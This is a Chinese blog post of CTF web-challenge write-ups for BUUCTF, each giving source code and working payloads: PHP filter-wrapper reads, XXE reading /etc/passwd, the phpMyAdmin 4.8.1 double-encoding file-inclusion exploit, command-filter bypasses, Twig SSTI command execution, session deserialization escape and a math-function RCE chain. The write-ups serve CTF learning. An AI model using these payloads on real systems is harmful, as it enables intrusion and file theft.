• buuctf(探险3)


    目录

    [BSidesCF 2020]Had a bad day

    考察:伪协议读取,以及filter   /resource指定路径读取

    [BJDCTF2020]Mark loves cat]

    git源码泄露,变量覆盖,foreach健值

     [NCTF2019]Fake XML cookbook

    根据题目提示,应该是考察xml外部注入漏洞的问题

    [GWCTF 2019]我有一个数据库

    dirsearch的使用,phpmyadmin4.8.1漏洞,主要是二次解码造成

     [安洵杯 2019]easy_web

    考察编码认识能力

    [WUSTCTF2020]朴实无华

     第一关,intval

    第二关,md5 

    最后

    [BJDCTF2020]Cookie is so stable

     [安洵杯 2019]easy_serialize_php

    反序列化逃逸

    建值逃逸:

     方法二

    区别:

    [CISCN 2019 初赛]Love Math 

    考察数学函数进制转换

     总结:

    [BSidesCF 2020]Had a bad day

    考察:伪协议读取,以及filter   /resource指定路径读取

    打开界面

    看见有一个参数,这时候就要考虑是否有sql注入

    然后首先我们需要的是获取源码,看见index。php

    可是读取失败了,用伪协议试一下

    我界面输入了一个index.php,报错给我报俩个php,去掉一个

    ?category=php://filter/read=convert.base64-encode/resource=index

     

    base64解码。

    1. $file = $_GET['category'];
    2. if(isset($file))
    3. {
    4. if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
    5. include ($file . '.php');}
    6. else{echo "Sorry, we currently only support woofers and meowers.";}
    7. }

    必须要有,woofers meowers 或者index,

    那就再前面其中一个的目录下访问,flag

    /index.php?category=php://filter/read=convert.base64-encode/woofers/resource=flag

    解码获得flag

    [BJDCTF2020]Mark loves cat]

    git源码泄露,变量覆盖,foreach健值

     打开界面,首先考虑了一下sql注入,可是试了半天没思路

    那就扫目录,看一下

    果然git源码泄露,用githack扫描,可是扫不出来

    看了别人wp会扫出,index.php和flag.php ,查了查是githack.py里面的

    self.thread_count=1就可以扫到了,

    然后再 home-kali-githack-buu文件中看见

    flag.php是这样

    1. $flag = file_get_contents('/flag');

     index.php是这样

    1. include 'flag.php';
    2. $yds = "dog";
    3. $is = "cat";
    4. $handsome = 'yds';
    5. foreach($_POST as $x => $y){
    6. $$x = $y;
    7. }
    8. foreach($_GET as $x => $y){
    9. $$x = $$y;
    10. }
    11. foreach($_GET as $x => $y){
    12. if($_GET['flag'] === $x && $x !== 'flag'){
    13. exit($handsome);
    14. }
    15. }
    16. if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    17. exit($yds);
    18. }
    19. if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
    20. exit($is);
    21. }
    22. echo "the flag is: ".$flag;

    变量覆盖的问题,

    看到$$就很变量覆盖

    最直接的思路就是使用最下面那个echo  $flag

    但是要让上面的if条件都不成立而且不覆盖$flag真的是太难了

    就转换思路,要知道exit也是一种输出

    我们可以让exit里面的内容为$flag就行

    我的做法是在这一句

    1. if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    2. exit($yds);
    3. }

    上面对$_GET传参和$_POST传参有两种不同的键值分离赋值方法

    foreach就是键值分离

    比如?flag=aaa

    那么$x=flag

           $y=aaa

    要让$yds=$flag

    那么就要$$x=$yds

    这样才能保证yds前面有个$

    接下来就是右边$flag

    那么就是$y=flag  $$y=$flag

    所以就用GET传参

    ?yds=flag

    查看源码获得flag 

     [NCTF2019]Fake XML cookbook

    根据题目提示,应该是考察xml外部注入漏洞的问题

    知识点:XXE漏洞原理及利用 - Flo_Kz - 博客园

    XXE(外部实体注入)是XML注入的一种,普通的XML注入利用面比较狭窄,如果有的话也是逻辑类漏洞。XXE扩大了攻击面。

    当允许引用外部实体时,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

    防御方法:禁用外部实体(PHP:可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体)

     随便输入账号密码,发现有回显,应该是有回显的xxe内部注入


      admin SYSTEM "file:///etc/passwd">
      ]>
    &admin;123

    红字要一致

    payload解释:

    称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。

    standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。

    按实体有无参分类,实体分为一般实体和参数实体,一般实体的声明:引用一般实体的方法:&实体名称;

    外部实体,用来引入外部资源。有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机。

    因为将file:///flag命名为admin,所以下面用&admin。

     

    成功查看,然后用file看一下flag,flag一般都在根目录下面‘ 

    [GWCTF 2019]我有一个数据库

    dirsearch的使用,phpmyadmin4.8.1漏洞,主要是二次解码造成

    打开界面,大写的蒙

    一堆乱码 ,没办法就需要扫目录了

    扫了十几分钟,终于出来了,都访问一下

    百度查看phpmyadmin4.8.1有漏洞,看到最多的是文件包含漏洞 编号 CVE-2018-12613 

    1. public static function checkPageValidity(&$page, array $whitelist = [])
    2. 2 {
    3. 3 if (empty($whitelist)) {
    4. 4 $whitelist = self::$goto_whitelist;
    5. 5 }
    6. 6 if (! isset($page) || !is_string($page)) {
    7. 7 return false;
    8. 8 }
    9. 9
    10. 10 if (in_array($page, $whitelist)) {
    11. 11 return true;
    12. 12 }
    13. 13
    14. 14 $_page = mb_substr(
    15. 15 $page,
    16. 16 0,
    17. 17 mb_strpos($page . \'?\', \'?\')
    18. 18 );
    19. 19 if (in_array($_page, $whitelist)) {
    20. 20 return true;
    21. 21 }
    22. 22
    23. 23 $_page = urldecode($page);
    24. 24 $_page = mb_substr(
    25. 25 $_page,
    26. 26 0,
    27. 27 mb_strpos($_page . \'?\', \'?\')
    28. 28 );
    29. 29 if (in_array($_page, $whitelist)) {
    30. 30 return true;
    31. 31 }
    32. 32
    33. 33 return false;
    34. 34 }

     buuctf航海经历([ACTF2020 新生赛])_偶尔躲躲乌云334的博客-CSDN博客_buuctf新生赛

    加?绕过这道题有异曲同工之妙

    问题在于第23行的urldecode($page)方法,存在二次编码绕过

    %25的url编码为%
    %3f的url编码为?
    %253f-->?
    

    所以可以在白名单?后面的参数进行操作

    例如传入:
    ?target=db_sql.php%253f
    由于服务器会自动解码一次,所以在checkPageValidity()中,$page的值一开始会是db_sql%3f,又一次url解码后变成了db_sql.php?,这次便符合了?前内容在白名单的要求,函数返回true
    但在index.php中$_REQUEST['target']仍然是db_sql%3f,而且会被include,通过目录穿越,就可造成任意文件包含
    payLoad:
    这里target参数只要是黑名单中php文件就可以

    http://725a4060-e628-4f9f-801a-e96075cbfca8.node3.buuoj.cn/phpmyadmin/index.php?target=db_datadict.php%253f../../../../../../etc/passwd
    

     

     看到了配置信息,说明包含成功,换成flag试试

     [安洵杯 2019]easy_web

    考察编码认识能力

    打开界面有点慌,然后看见url中感觉是base64编码 

    两次解码获得3535352e706e67

     一长溜的编码,可是看到md5 is funny,

    尝试了一下都没有md5加密的,有点蒙了

    偷偷看一眼提示信息,原来两次解码获得3535352e706e67这还能继续解码

    ,hex解码 

    获得一个照片应该就是网页上那一张照片,所以我们现在需要查询源码

    加密方式我们已经获得了hex->base64->base64

    将index.php进行加密,得到TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

    base64解密获得源码 

    1. error_reporting(E_ALL || ~ E_NOTICE);
    2. header('content-type:text/html;charset=utf-8');
    3. $cmd = $_GET['cmd'];
    4. if (!isset($_GET['img']) || !isset($_GET['cmd']))
    5. header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
    6. $file = hex2bin(base64_decode(base64_decode($_GET['img'])));
    7. $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
    8. if (preg_match("/flag/i", $file)) {
    9. echo '';
    10. die("xixi~ no flag");
    11. } else {
    12. $txt = base64_encode(file_get_contents($file));
    13. echo "";
    14. echo "
      "
      ;
    15. }
    16. echo $cmd;
    17. echo "
      "
      ;
    18. if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    19. echo("forbid ~");
    20. echo "
      "
      ;
    21. } else {
    22. if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
    23. echo `$cmd`;
    24. } else {
    25. echo ("md5 is funny ~");
    26. }
    27. }
    28. ?>

        if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {

    终于找到md5的作用了,前一段时间刚做过,md5强碰撞的题目

    (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}||" role="presentation" style="position: relative;">||\&[^\d]|@|\||\\$|

    |" role="presentation" style="text-align: center; position: relative;">|
    |{|}||" role="presentation" style="position: relative;">||-|<|>/i", $cmd)) {

    应该可以 ca\t 绕过,网上有一个新手段sort

    dir也可以显示当前目录

    1. a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
    2. &b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
    1. 在PHP中,要通过正则表达式过滤掉\,必须要通过四个反斜杠才行\\\\,这是因为正则匹配要经过两层解析,一层是php,一层是正则表达式,在此处的话\\|,相当于是\|,之后又与后面的|进行了转义,所以实现的相当于就是对|的过滤,而没有过滤掉\
    2. 故此处并没有过滤掉\

    url中的%20需要手动添加, 

    [WUSTCTF2020]朴实无华

    题目也没啥提示,然后访问几个常碰到的,文件

    robots.txt 

     

     线索又断了,还是老老实实扫目录把

    可是扫完以后,也就这一个200返回码

    这时候看一下网络消息头发现

     

    burp中更容易看见 

    f14g.php解密

     整合一下代码,把乱码删了

    1. header('Content-type:text/html;charset=utf-8');
    2. error_reporting(0);
    3. highlight_file(__file__)
    4. //level 1
    5. if (isset($_GET['num'])){
    6. $num = $_GET['num'];
    7. if(intval($num) < 2020 && intval($num + 1) > 2021){
    8. echo "剰闂�犲ソ.
      "
      ;
    9. }else{
    10. die("閲戦");
    11. }
    12. }else{
    13. die("鍘婚");
    14. }
    15. //level 2
    16. if (isset($_GET['md5'])){
    17. $md5=$_GET['md5'];
    18. if ($md5==md5($md5))
    19. echo "婂鑷忔毚.
      "
      ;
    20. else
    21. die("鎴戣刀娲�");
    22. }else{
    23. die("鍘婚插惂");
    24. }
    25. //get flag
    26. if (isset($_GET['get_flag'])){
    27. $get_flag = $_GET['get_flag'];
    28. if(!strstr($get_flag," ")){
    29. $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
    30. echo "鎯冲€灏欎旀灟鐕�.
      "
      ;
    31. system($get_flag);
    32. }else{
    33. die("蹇床浜�");
    34. }
    35. }else{
    36. die("鍘婚潪娲插惂");
    37. }
    38. ?>

     第一关,intval

     这样就好多了看着,//level 1
    if (isset($_GET['num'])){
        $num = $_GET['num'];
        if(intval($num) < 2020 && intval($num + 1) > 2021){
            echo "剰闂�犲ソ.
    ";
        }else{
            die("閲戦");
        }
    }else{
        die("鍘婚");
    }  第一关,肯定是intval num<2020 并且加1比2021大

    一定有一个漏洞,前几天做过一个intval越界的感觉不像是这个,搜一下

    1. $a = '2e4';
    2. var_dump($a); string(3) "2e4"
    3. var_dump(intval($a)); 20001
    4. $b = $a + 1;
    5. echo $b."\n";
    6. var_dump($b); float(20001)
    7. var_dump(intval($b)); int(20001)

    if(intval($num) < 2020 && intval($num + 1) > 2021)所以我们输入字符串'2e4'就可以绕过,前面是

    第二关,md5 

    0<2020   20001>2021第一关过了

     $md5=$_GET['md5'];
       if ($md5==md5($md5))           本身和md5加密后相等,弱比较

    看到==,就想到了php弱比较,php会将以0x开头的字符串,当进行==弱比较时,会认为是相同的。

    所以就变成了找到一个以0x开头的字符串s,并且md5(s)也是以0x开头的字符串。

    1. $c = "0e215962017";
    2. echo "$c"."\n";
    3. $d = md5($c);
    4. echo "$d"."\n";
    5. if ($c==$d)
    6. echo "成功绕过"."\n";

    试验后发现成功绕过,

    最后

     if(!strstr($get_flag," ")){    get传参进入的,里面没有空格
            $get_flag = str_ireplace("cat", "wctf2020", $get_flag);、
            system($get_flag);

     str_ireplace(子字符串忽略大小写替换)

    第二行,就是把get_flag中的cat 换成wctf20220,说白了就是过滤cat

    那我们先用ls查一下目录

    可是并没有什么回显,不知道我是哪错了

    看了大佬解释,说是传入的2e4不需要空格,这些都会自动加上

    出来了,但是我们查找目录 cat  flag中间一定会有空格,的这里肯定是需要一种别的手段绕过一下 

    我们完全可以换个思路呀,cat有tac代替,空格有%09,${IFS}代替不久行了嘛

    可以用$IFS$9代替空格(这个一般什么时候都可以ak过去)

    [BJDCTF2020]Cookie is so stable

    打开界面,随便输入burp抓包

     hint.php发现

     为什么不看看cookies

    题目提到cookie,莫非是修改cookie 

     在登录的情况下抓包,看cookies

    能力就到这了,看看大佬的wp

    这里的知识点是利用服务端模板注入攻击。SSTI里面的Twig攻击

    这里有判断模板注入类型的办法,可是我看不出来唉,说明经验还是不够

    输入{{7*‘7’}},返回49表示是 Twig 模块

    输入{{7*‘7’}},返回7777777表示是 Jinja2 模块

    这里在cookie处进行判断

    user={{7*‘7’}},查看返回值

    返回49,说明是Twig攻击

    然后继续学习Twig的方法,

    一篇文章带你理解漏洞之 SSTI 漏洞 | K0rz3n's Blog,原理在这

    1. public function getFilter($name)
    2. {
    3. [snip]
    4. foreach ($this->filterCallbacks as $callback) {
    5. if (false !== $filter = call_user_func($callback, $name)) {//注意这行
    6. return $filter;
    7. }
    8. }
    9. return false;
    10. }
    11. public function registerUndefinedFilterCallback($callable)
    12. {
    13. $this->filterCallbacks[] = $callable;
    14. }

     payload

    1. {{_self.env.registerUndefinedFilterCallback("exec")}}
    2. {{_self.env.getFilter("id")}}

     把id改成 cat /flag获得

     [安洵杯 2019]easy_serialize_php

    反序列化逃逸

    1. $function = @$_GET['f'];
    2. function filter($img){
    3. $filter_arr = array('php','flag','php5','php4','fl1g');
    4. $filter = '/'.implode('|',$filter_arr).'/i';
    5. return preg_replace($filter,'',$img);
    6. }
    7. if($_SESSION){
    8. unset($_SESSION);
    9. }
    10. $_SESSION["user"] = 'guest';
    11. $_SESSION['function'] = $function;
    12. extract($_POST);
    13. if(!$function){
    14. echo 'source_code';
    15. }
    16. if(!$_GET['img_path']){
    17. $_SESSION['img'] = base64_encode('guest_img.png');
    18. }else{
    19. $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
    20. }
    21. $serialize_info = filter(serialize($_SESSION));
    22. if($function == 'highlight_file'){
    23. highlight_file('index.php');
    24. }else if($function == 'phpinfo'){
    25. eval('phpinfo();'); //maybe you can find something in here!
    26. }else if($function == 'show_image'){
    27. $userinfo = unserialize($serialize_info);
    28. echo file_get_contents(base64_decode($userinfo['img']));
    29. }

     看到phpinfo,这里的注释,可能你能在这找到一些东西,那就看一下,翻了好久发现,一个在底部生成d0g3_f1ag.php这个文件,肯定是和最后的file_get_contents有关系

    filter自定义函数就是过滤一些函数,替换为空格

     if($function == 'highlight_file'){
        highlight_file('index.php');
    }else if($function == 'phpinfo'){
        eval('phpinfo();'); //maybe you can find something in here!
    }else if($function == 'show_image'){
        $userinfo = unserialize($serialize_info);
        echo file_get_contents(base64_decode($userinfo['img']));
    }

    要读取文件,function=show_image第一步,然后这是解码 $userinfo['img']看看上面哪有

     if(!$_GET['img_path']){
        $_SESSION['img'] = base64_encode('guest_img.png');
    }else{
        $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
    }

    上面是包含png,所以肯定是运行下面,也就是get传参的i,base64编码上面获得那个php

    可是这个方法有个问题,那就是下面进行了 sha1和base64可是下面只有base64解码

    这条路断了

    $userinfo = unserialize($serialize_info);
        echo file_get_contents(base64_decode($userinfo['img']));
    }很明显,是反序列化之后取得img的值,所以找序列化 

     $serialize_info = filter(serialize($_SESSION));

    这句话的意思就是,对session中进行过滤然后序列化,session中有三个值

    $_SESSION["user"] = 'guest';
    $_SESSION['function'] = $function;
     $_SESSION['img']

    搜了好多资料,序列化逃逸手段需要

    建值逃逸:

    把echo前面注释取消,构造环境,成为这样

    a:3里面有三个变量,user  function  img

     因为

    因为user的值有flag过滤字符,就会过滤,所以user的内容变为  ”:s:8:"f  8个字符

    然后我们就想一下,如果user直接借助过滤覆盖到7这个位置,那不就只剩下 user img

    达到这种效果,然后后面的img出括号无效了,指的是第二个img

    可是这样不会成功,因为a:3这才 user  img所以我们完全可以,在function中构建出img的取值

    然后最后再来个function

     user28从  "------b1234 ,这都是user的值

    然后是img的值

    重点:a:3 后三个键,只需要个数相同而已

    最后a  b的值随便构造,写个function不就成功了吗,因为过滤字符都是4个的倍数,完全可以在后面随便加字符b1234567等等

    _SESSION[user] =flagflagflagflagflagflagflag&_SESSION[function] = b1234";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:8:"function";s:1:"a";}

    试了好几遍也没有对,和别人的一比也没差到哪去

    _SESSION[user]=flagflagflagflagflagflagflag&_SESSION[function]=b1234";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:8:"function";s:1:"a";}

    最后发现是等号俩边有空格, 删去就成功了

    _SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=p";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"ab";s:2:"sb";}
    

     

    L2QwZzNfZmxsbGxsbGFn 是/dog3...的base64编码,继续来一遍

    _SESSION[user]=flagflagflagflagflagflagflag&_SESSION[function]=vvvvp";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"ab";s:2:"sb";}

     方法二

    1. $_SESSION['phpflag']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
    2. $_SESSION['img'] = base64_encode('guest_img.png');
    3. var_dump( serialize($_SESSION) );
    4. #"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
    5. ;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

    也就是键名中的phpflag过滤,替换掉了

    "a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"

    三个键名,完成逃逸,就是这个原理

    例子:

    可以看到,被过滤了7个字符,所以";s:53:被当做成了键名,然后构造的hacker被当做成了值,后面的原理就一样了

    然后根据提示$flag = 'flag in /d0g3_fllllllag';,flag在/d0g3_fllllllag,将/d0g3_fllllllagbase64加密得到,L2QwZzNfZmxsbGxsbGFn再继续逃逸即可得出结果

    区别:

    首先_SESSION一共有三个键值对,所以我们一共要构建三个键值对,而建名就不需要二零

    终于结束了这道题,淦了我快一天了

    [CISCN 2019 初赛]Love Math 

    考察数学函数进制转换

    1. error_reporting(0);
    2. //听说你很喜欢数学,不知道你是否爱它胜过爱flag
    3. if(!isset($_GET['c'])){
    4. show_source(__FILE__);
    5. }else{
    6. //例子 c=20-1
    7. $content = $_GET['c'];
    8. if (strlen($content) >= 80) {
    9. die("太长了不会算");
    10. }
    11. $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    12. foreach ($blacklist as $blackitem) {
    13. if (preg_match('/' . $blackitem . '/m', $content)) {
    14. die("请不要输入奇奇怪怪的字符");
    15. }
    16. }
    17. //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    18. $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    19. preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
    20. foreach ($used_funcs[0] as $func) {
    21. if (!in_array($func, $whitelist)) {
    22. die("请不要输入奇奇怪怪的函数");
    23. }
    24. }
    25. //帮你算出答案
    26. eval('echo '.$content.';');
    27. }

    简单看一下,这道题其实考察的是rce问题,通过黑名单,白名单各种过滤,然后到最后eval实现命令执行的功能

    这道题的突破点,应该是通过数学函数来构建rce

     

    c=base_convert(55490343972,10,36)(),就会显示phpinfo环境信息

     只要都是进数字制吗,几进制都可以,

    PHP Math 函数

    可以利用base_convert()生成hex2bin()函数
    hex2bin()函数可以把16进制转成字符
    这样就可以构造_GET请求来绕过限制

    但是直接传16进制会被die,所以利用dechex()传10进制

    把十进制转换为十六进制。dechex()

    然后转换十进制, 1598506324

    base_convert()

    \?c=$abs=base_convert(37907361743,10,36)(dechex(1598506324));$$abs{1}($$abs{2})&1=system&2=ls

     base_convert(37907361743,10,36) 是hex2bin

    hex2bin

    (dechex(1598506324))是变成十六进制编码  _get的

    hex2bin(16进)    转化为字符,_get

    ?c=$abs=_get;

    abs1(" role="presentation" style="text-align: center; position: relative;">abs1(
    abs{2})&1=system&2=ls

    构造出来的_GET赋给一个变量要在白名单里面,这里我用abs
    则:$abs=base_convert(37907361743,10,36)(dechex(1598506324))

    也就是$abs=_GET

    所以:$$abs=$_GET

    但是[]被过滤,可以用{}替代

    就可以构造shell:
    $_GET[1]($_GET[2])
    1用做函数:system,2用做命令

    cat /flag,获得

     总结:

    1.第一题主要考察filter可以指定路径进行查看

    2.主要考察键值覆盖,

    比如?flag=aaa

    那么$x=flag

           $y=aaa

    $$x=$y,实现的是flag=aaa

    3.考察xml外部注入,


      admin SYSTEM "file:///etc/passwd">
      ]>
    &admin;123

    这是有回显的,可以通过这里判断

    4.phpmyadmin4.8.1二次解码造成的漏洞

    ?target=db_datadict.php%253f../../../../../../etc/passwd

    %253f二次解码,就是?会返回true然后包含   ,前面php必须在黑名单里面

     5.考察熟练的判断解码类型

    3535352e706e67数字可以继续hex2解码,就这没看出来,别的地方还行

    可以ca\t过滤

    6.intval漏洞,以及如果各种尝试都没思路,可以看一下网络的信息头

    intval(2e4)  =2

    intval(2e4+1)=20001

    7.twig模板注入

    如果cookie中多了值,首先判断是不是模板注入,{{7*'7'}}返回49是twig, 7777是jinjia2

    {{_self.env.registerUndefinedFilterCallback("exec")}}
     
    {{_self.env.getFilter("id")}}

    8.键值逃逸,通过有字符过滤覆盖掉后面的手段

    上面挺详细的,主要就是使用键值逃逸的时候个数要与session的相同

    而键名不需要

    9.base_convert(55490343972,10,36)指定编码,原来十进制换成16进制
    把十进制转换为十六进制。dechex()
    hex2bin  16进制换成字符串文本

    以后就针对一个类型刷题了,会更加加深印象!加油

  • 相关阅读:
    python与其他编程语言的区别
    idea配置tomcat的方法(详细图文步骤)
    php批量excel转word
    跨域的解决方案
    MutationObserver接口(一) 基本用法
    ROS+PX4+mavros+qgc环境搭建笔记
    看完这篇,还不懂JAVA内存模型(JMM)算我输
    beego语言golang编程语言安装bee : 无法将“bee”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。
    以太坊核心开发者建议合并的暂定日期
    Python 中-m 模块的妙用
  • 原文地址:https://blog.csdn.net/qq_62046696/article/details/126237760